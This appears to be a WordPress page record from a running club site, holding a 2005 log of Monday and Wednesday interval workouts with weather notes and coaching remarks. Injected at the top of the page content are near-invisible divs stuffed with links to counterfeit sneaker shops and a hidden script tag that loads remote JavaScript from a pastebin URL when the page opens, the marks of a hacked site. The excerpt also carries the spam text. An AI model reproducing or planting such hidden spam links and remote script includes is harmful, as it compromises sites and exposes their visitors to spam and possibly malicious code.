{"id":171,"date":"2010-05-01T11:29:08","date_gmt":"2010-05-01T18:29:08","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=171"},"modified":"2017-02-04T22:32:09","modified_gmt":"2017-02-05T06:32:09","slug":"2005-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=171","title":{"rendered":"2005"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/www.ratebook.ch\/yeezy-boost-350-v2-schwarz-kaufen.html\">Yeezy Boost 350 V2 Schwarz Wei\u00df Online<\/a><a href=\"http:\/\/www.cumberbatched.com\/yeezy-boost-350-v2-white-sale.php\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/www.iran.pezeshk.us\/yeezy-350-v2-black-by605.html\">Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/my-gdz.su\/yeezy-350-v2\/\">adidas yeezy boost 350<\/a><a href=\"http:\/\/www.compassionpower.com\/yeezy350shoes.html\">http:\/\/www.compassionpower.com\/yeezy350shoes.html<\/a><a href=\"http:\/\/www.metal-design-concept.com\/yeezy-boost-350-for-sale\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/das.sch.sa\/images\/yeezy-boost-350-sale.html\">yeezy boost 350 v2 for sale<\/a><a href=\"http:\/\/1stlady.com.my\/buy-yeezy-boost-350-v2\/\">adidas yeezy boost 350<\/a><a href=\"http:\/\/www.sanramon.org\/wp-boost.php\">adidas yeezy boost 350 v2<\/a><a href=\"http:\/\/jobstelangana.in\/article\/yeezy-sply-350-sale.html\">adidas yeezy boost 350 v2<\/a><a href=\"http:\/\/www.missionmotorsport.org\/CP9652-yeezy.php\">yeezy boost 350 v2 black<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/www.adidasyeezy350boostv2.com\">yeezy boost 350 v2<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>12\/28\/05 Wed &#8211; rain<br \/>\n12\/26\/05 Mon &#8211; 8&#215;600 = 3 mi; 3 ran<br \/>\n12\/21\/05 Wed &#8211; 4&#215;1600 = 4 mi;<br \/>\n12\/19\/05 Mon &#8211; 3x(400; 600; 400) = 2 5\/8 mi;<br \/>\n12\/14\/05 Wed &#8211; 800; 1200; 1600; 1200; 800 = 3 1\/2 mi; lo 50&#8217;s, calm; 5 ran<br \/>\n12\/12\/05 Mon &#8211; 800; 2&#215;600; 400; 2&#215;600; 800 = 2 3\/4 mi; lo 50&#8217;s calm; 3 ran<br \/>\n12\/07\/05 Wed &#8211; 3&#215;1600; 1200 = 3 3\/4 mi; lo 50&#8217;s, calm; 2 ran<br \/>\n12\/05\/05 Mon &#8211; 400; 4&#215;800; 400 = 2 1\/2 mi; lo 50&#8217;s, calm; 3 ran<br \/>\n11\/30\/05 Wed &#8211; 800; 2&#215;600; 3&#215;400; 2&#215;600; 800 = 3 1\/4 mi; lo 60&#8217;s calm; 3 ran<br \/>\n11\/28\/05 Mon &#8211; 3x(800; 400); 800 = 2 3\/4 mi; lo 60&#8217;s, calm; lite mist; 9 ran<br \/>\n11\/23\/05 Wed &#8211; 2&#215;1600; 2&#215;1200 = 3 1\/2 mi; mid 60&#8217;s, calm; 7 ran<br \/>\n11\/21\/05 Mon &#8211; 800; 600; 3&#215;400; 600; 800 = 2 1\/2 mi; mid 60&#8217;s, calm; 10 run<br \/>\n11\/16\/05 Wed &#8211; 1600; 3&#215;1200 = 3 1\/4 mi; mid 60&#8217;s calm; 7 ran<br \/>\n11\/14\/05 Mon &#8211; 5&#215;800 = 2 1\/2 mi; hi 60&#8217;s calm; 8 ran<br \/>\n11\/09\/05 Wed &#8211; 3&#215;1600 = 3 mi; lo 60&#8217;s calm, no rain; 4 ran<br \/>\n11\/07\/05 Mon &#8211; 6&#215;600 = 2 1\/4 mi; mid 60&#8217;s, breeze; 10 ran<br \/>\n11\/02\/05 Wed &#8211; 1600; 2&#215;800; 1600 = 3 mi; hi 50&#8217;s, calm; 6 ran<br \/>\nDaylight savings ends &#8211; retain short recovery, decrease speed, begin increasing total interval length<br \/>\n10\/31\/05 Mon &#8211; 400; 4&#215;600; 400 = 2 mi; mid 60&#8217;s, calm; 7 ran<br \/>\n10\/26\/05 Wed &#8211; 800; 1200; 1600; 1200 = 3 mi; mid 60&#8217;s, calm; 7 ran<br \/>\n10\/24\/05 Mon &#8211; 4&#215;600; 2&#215;400 = 2 mi; mid 60&#8217;s, calm; 13 ran<br \/>\n10\/19\/05 Wed &#8211; 1200; 3&#215;800; 1200 = 3 mi; mid 60&#8217;s, breeze; 6 ran<br \/>\n10\/17\/05 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; lo 70&#8217;s, calm; 11 ran<br \/>\n10\/12\/05 Wed &#8211; 2x(800; 1600) = 3 mi; lo 70&#8217;s, calm; 10 ran<br \/>\n10\/10\/05 Mon &#8211; 8&#215;400 = 2 mi; beautiful, mid 70&#8217;s, calm; 15.5 ran<br \/>\n10\/05\/05 Wed &#8211; 4&#215;1200 = 3 mi; hi 60&#8217;s, breeze; 7 ran<br \/>\n10\/03\/05 Mon &#8211; 2x(600; 400; 600) = 2 mi; lo 70&#8217;s calm; 12.5 ran<br \/>\n09\/28\/05 Wed &#8211; 6&#215;800 = 3 mi; lo 70&#8217;s, calm; 7 ran<br \/>\n09\/26\/05 Mon &#8211; 800; 4&#215;400; 800 = 2 mi; hi 60&#8217;s, lt breeze; 13 ran<br \/>\n09\/21\/05 Wed &#8211; 800; 2&#215;1600; 800 = 3 mi; lo 70&#8217;s, calm; 5 ran<br \/>\n09\/19\/05 Mon &#8211; 600; 5&#215;400; 600 = 2 mi; hi 70&#8217;s, calm; 10 ran<br \/>\n09\/14\/05 Wed &#8211; 2&#215;1200; 3&#215;800 = 3 mi; mid 70&#8217;s, lt breeze; 6 ran<br \/>\n09\/12\/05 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; hi 60&#8217;s, lt breeze; 6 ran<br \/>\n09\/12\/05 Change to longer interval distances, short recovery, total distance unchanged; tempo focus.<br \/>\nWinter is here with it&#8217;s short, cool days.On 9\/12 we switched to tempo focused longer intervals &#8211; slower paced with less recovery. Total distances remained at 2 miles on Monday and 3 on Wednesday. At the end of daylight savings we began to slowly increase the total distance run, focusing on an endurance base during the winter. In January through March, the total Monday miles will be 3 and Wednesday miles will be 4. In February and March, there will be minimal variations in the repeats, to help in learning pace and rythym.<\/p>\n<p>09\/07\/05 Wed &#8211; 800; 600; 5&#215;400; 600; 800 = 3 mi; hi 60&#8217;s, breeze; 4 ran<br \/>\n09\/05\/05 Mon &#8211; (Labor Day) 600; 400 3x(300;150); 400 = 2 mi; lo 70&#8217;s lt breeze; 5 ran<br \/>\n08\/31\/05 Wed &#8211; 3x(400; 800; 400) = 3 mi; mid 70&#8217;s, breeze; 5 ran<br \/>\n08\/29\/05 Mon &#8211; 600; 2&#215;400; 4&#215;200; 400; 600 = 2 mi; lo 70&#8217;s breeze; 9 ran<br \/>\n08\/24\/05 Wed &#8211; 4x(500; 400; 300) = 3 mi; lo 70&#8217;s, lt breeze; 4 ran<br \/>\n08\/22\/05 Mon &#8211; 3x(400;200;400);200 = 2 mi; lo 70&#8217;s, calm; 9 ran<br \/>\n08\/17\/05 Wed &#8211; 12&#215;400 = 3 mi; lo 70&#8217;s calm; 6 ran<br \/>\n08\/15\/05 Mon &#8211; 500; 400; 300; 4&#215;200; 300; 400; 500 = 2 mi; lo 70&#8217;s, calm; 8 ran<br \/>\n08\/10\/05 Wed &#8211; 2&#215;400; 800; 4&#215;400; 800; 2&#215;400 = 3 mi; hi 70&#8217;s lt breeze; 6 ran<br \/>\n08\/08\/05 Mon &#8211; 600; 400 3x(300;150); 400 = 2 mi; hi 70&#8217;s lt breeze; 13 ran<br \/>\n08\/03\/05 Wed &#8211; 4x(500; 400; 300) = 3 mi; lo 80&#8217;s lt breeze; 5 ran<br \/>\n08\/01\/05 Mon &#8211; 4x(400; 2&#215;200) = 2 mi; lo 80&#8217;s lt breeze; 10 ran<br \/>\n07\/27\/05 Wed &#8211; 2x(800; 4&#215;400) = 3 mi; hi 70&#8217;s, lt breeze; 5 ran<br \/>\n07\/25\/05 Mon &#8211; 500; 400; 300; 4&#215;200; 300; 400; 500 = 2 mi; low 80&#8217;s, lt breeze; 4 ran<br \/>\nSwitch to short, fast speed and mechanics work, total distances will not change.<br \/>\n07\/20\/05 Wed &#8211; 2x(1200; 3&#215;400) = 3 mi hi 80&#8217;s lt breeze; 2 ran<br \/>\n07\/18\/05 Mon &#8211; 600; 600; 400; 300; 300; 400; 600 = 2 mi; lo 80&#8217;s, lt breeze; 6 ran<br \/>\n07\/13\/05 Wed &#8211; 4x(800; 400) = 3 mi; hi 80&#8217;s, breeze; 5 ran<br \/>\n07\/11\/05 Mon &#8211; 8&#215;400 = 2 mi; mid 80&#8217;s; 6 ran<br \/>\n07\/06\/05 Wed &#8211; 3x(800; 400; 400) = 3 mi; lo 80&#8217;s, breeze; 4 ran<br \/>\n07\/04\/05 Mon &#8211; 4th of July &#8211; off to the races<br \/>\n06\/29\/05 Wed &#8211; 400; 600; 800; 1200; 800; 600; 400 = 3 mi; mid 80&#8217;s, breeze; 6 ran<br \/>\n06\/27\/05 Mon &#8211; 600; 400; (4&#215;300;150); 400 = 2 mi; lo 80&#8217;s, breeze; 6 ran<br \/>\n06\/22\/05 Wed &#8211; 2&#215;800; 600; 400; 600; 2&#215;800 = 3 mi; hi 60&#8217;s, breeze; 7 ran<br \/>\n06\/20\/05 Mon &#8211; 600; 5&#215;400; 600 = 2 mi; hi 60&#8217;s, breeze, 6 ran<br \/>\n06\/15\/05 Wed &#8211; 800; 600; 5&#215;400; 600;800 = 3 mi; mid 70&#8217;s breeze; 4 ran<br \/>\n06\/13\/05 Mon &#8211; 2&#215;600; 400; 2&#215;300; 400; 600 = 2 mi; mid 70&#8217;s calm, 7 ran<br \/>\n06\/08\/05 Wed &#8211; 6&#215;800 = 3 mi; mid 60&#8217;s; 4 ran<br \/>\n06\/06\/05 Mon &#8211; 8&#215;400 = 2 mi; lo 60&#8217;s, windy 6 ran<br \/>\n06\/01\/05 Wed &#8211; 3x(800; 400; 400) = 3 mi; hi 60&#8217;s; 4 ran<br \/>\n05\/30\/05 Mon &#8211; 600; 4x(300, 150); 2&#215;400 = 2 mi; lo 70&#8217;s breeze; 3 ran; Memorial Day<br \/>\n05\/25\/05 Wed &#8211; 2x(800; 4&#215;400) = 3 mi; hi 70&#8217;s calm; 6 ran<br \/>\n05\/23\/05 Mon &#8211; 400; 2&#215;200; 2&#215;300; 2&#215;400; 2&#215;500 = 2 mi; mid 70&#8217;s, breeze; 7 ran<br \/>\n05\/18\/05 Wed &#8211; 4x(800; 400) = 3 mi; hi 60&#8217;s, calm; 3 ran<br \/>\n05\/16\/05 Mon &#8211; 2&#215;500; 2&#215;400; 2&#215;300; 2&#215;200; 400 = 2 mi; hi 60&#8217;s, breeze; 9 ran<br \/>\n05\/11\/05 Wed &#8211; 3&#215;600; 4x(300; 150); 2&#215;600 = 3 mi; lo 60&#8217;s, windy; 6 ran<br \/>\n05\/09\/05 Mon &#8211; 500; 400; 300; 200; 400; 200; 300; 400; 500 = 2 mi; 60&#8217;s breeze; 6 ran<br \/>\n05\/04\/05 Wed &#8211; Rained out. In May!!!<br \/>\n05\/02\/05 Mon &#8211; 800; 200; 200; 300; 300; 400; 600 = 2 mi; breezy mid 60&#8217;s; 6 ran<br \/>\n04\/27\/05 Wed &#8211; 12&#215;400 = 3 mi; mid 60&#8217;s, breezy; 4 ran<br \/>\n04\/25\/05 Mon &#8211; 4x(400; 300); 400 = 2 mi; mid 60&#8217;s, breezy; 4 ran<br \/>\n04\/20\/05 Wed &#8211; 3x(800; 400; 300; 150) = 3.2 mi; lo 60&#8217;s, windy; 5 ran<br \/>\n04\/18\/05 Mon &#8211; 2x(500; 400; 300; 400) = 2 mi; lo 60&#8217;s, windy; 8 ran<br \/>\n04\/13\/05 Wed &#8211; 3&#215;400; 2x(300; 600; 300); 3&#215;400 = 3 mi; lo 60&#8217;s, windy; 4 ran<br \/>\n04\/11\/05 Mon &#8211; 600; 5&#215;400; 600 = 2 mi; lo 60&#8217;s, windy at start; 5 ran<br \/>\n04\/06\/05 Wed &#8211; 800; 2&#215;400; 4&#215;300; 3&#215;400; 800 = 3 mi; mid 60&#8217;s; 3 ran<br \/>\n04\/04\/05 Mon &#8211; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600 = 2 mi; lo 60&#8217;s, sunshine! 7 ran<br \/>\nDAYLIGHT SAVINGS TIME! End of long intervals, short recovery; endurance period<br \/>\n03\/30\/05 Wed &#8211; 800; 600; 400; 4&#215;300; 400; 600; 800 = 4 mi; hi 50&#8217;s; 5 ran<br \/>\n03\/28\/05 Mon &#8211; 600; 3(500; 400; 300); 600 = 3 mi; mid 50&#8217;s; 2 ran<br \/>\n03\/23\/05 Wed &#8211; 3&#215;800; 2&#215;1200; 2&#215;800 = 4 mi; hi 50&#8217;s; 6 ran<br \/>\n03\/21\/05 Mon &#8211; 3&#215;600; 4&#215;400; 600; 2&#215;400 = 3 mi; low 60&#8217;s, scattered sprinkles; 2 ran<br \/>\n03\/16\/05 Wed &#8211; 1600; 1200; 800; 1200; 1600 = 4 mi; mid 60&#8217;s; 2 ran<br \/>\n03\/14\/05 Mon &#8211; 600; 2&#215;500; 2&#215;400; 300; 400; 300; 400; 600 = 3 mi; hi 60&#8217;s; 6 ran<br \/>\n03\/09\/05 Wed &#8211; 800; 2000; 1600; 2000 = 4 mi; mid 60&#8217;s; 2 ran<br \/>\n03\/07\/05 Mon &#8211; 3x(600; 400; 400); 600 = 3 mi; low 60&#8217;s; 6 ran<br \/>\n03\/02\/05 Wed &#8211; 6&#215;400 = 1.5 miles, recovery intervals; hi 50&#8217;s; 2 ran<br \/>\n02\/28\/05 Mon &#8211; 2&#215;600; 500; 5&#215;400; 500; 600 = 3 mi; hi 50&#8217;s; 8 ran<br \/>\n02\/23\/05 Wed &#8211; 800; 4&#215;1200; 800 = 4 mi; hi 50&#8217;s; 4 ran<br \/>\n02\/21\/05 Mon &#8211; 600; 9&#215;400; 600 = 3 mi; low 60&#8217;s NO rain; 5 ran<br \/>\n02\/16\/05 Wed &#8211; 2x(800; 1600; 800) = 4 mi; low 60&#8217;s, rain at end; 2 ran<br \/>\n02\/14\/05 Mon &#8211; 600; 2&#215;500; 4&#215;400; 2&#215;500; 600 = 3 mi; Rain<br \/>\n02\/09\/05 Wed &#8211; 800; 1200; 2&#215;1600; 1200 = 4 mi. hi 50&#8217;s; 3 ran<br \/>\n02\/07\/05 Mon &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800 = 3 mi. mid 50&#8217;s; 5 ran<br \/>\n02\/02\/05 Wed &#8211; 4&#215;1600 = 4 mi. low 60&#8217;s another day in paradise; 3 ran<br \/>\n01\/31\/05 Mon &#8211; 12&#215;400 = 3 mi. high 50&#8217;s calm again; 9 ran<br \/>\n01\/26\/05 Wed &#8211; 8&#215;800 = 4 mi. high 50&#8217;s perfect weather again; 5 ran<br \/>\n01\/24\/05 Mon &#8211; 6&#215;600; 3&#215;400 = 3 mi. high 50&#8217;s perfect running weather; 9 ran<br \/>\n01\/19\/05 Wed &#8211; 1200; 1200; 1600; 1200; 1200 = 4 mi. mid 50&#8217;s; 4 ran<br \/>\n01\/17\/05 Mon &#8211; 3&#215;600; 1200; 3&#215;600 = 3 mi. Low 50&#8217;s calm &amp; clear; 5 ran<br \/>\n01\/12\/05 Wed &#8211; 2x(800; 1600; 800) = 4 mi. Low 50&#8217;s, calm. 3 ran<br \/>\n01\/10\/05 Mon &#8211; 3&#215;600; 3&#215;400; 3&#215;600 = 3 mi. Low 50&#8217;s, calm. 6 ran<br \/>\n01\/05\/05 Wed &#8211; 5000 = 3 mi. rain threat, cool; 2 ran<br \/>\n01\/03\/05 Mon -3x(400; 400; 600); 600 = 3 mi. brisk! 6 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Yeezy Boost 350 V2 Schwarz Wei\u00df Onlineyeezy boost 350 triple white for saleYeezy Boost 350 V2 Blackadidas yeezy boost 350http:\/\/www.compassionpower.com\/yeezy350shoes.htmlyeezy boost 350 triple whiteyeezy boost 350 v2 for saleadidas yeezy boost 350adidas yeezy boost 350 v2adidas yeezy boost 350 v2yeezy &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=171\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":49,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-171","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2L","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=171"}],"version-history":[{"count":36,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/171\/revisions"}],"predecessor-version":[{"id":1654,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/171\/revisions\/1654"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}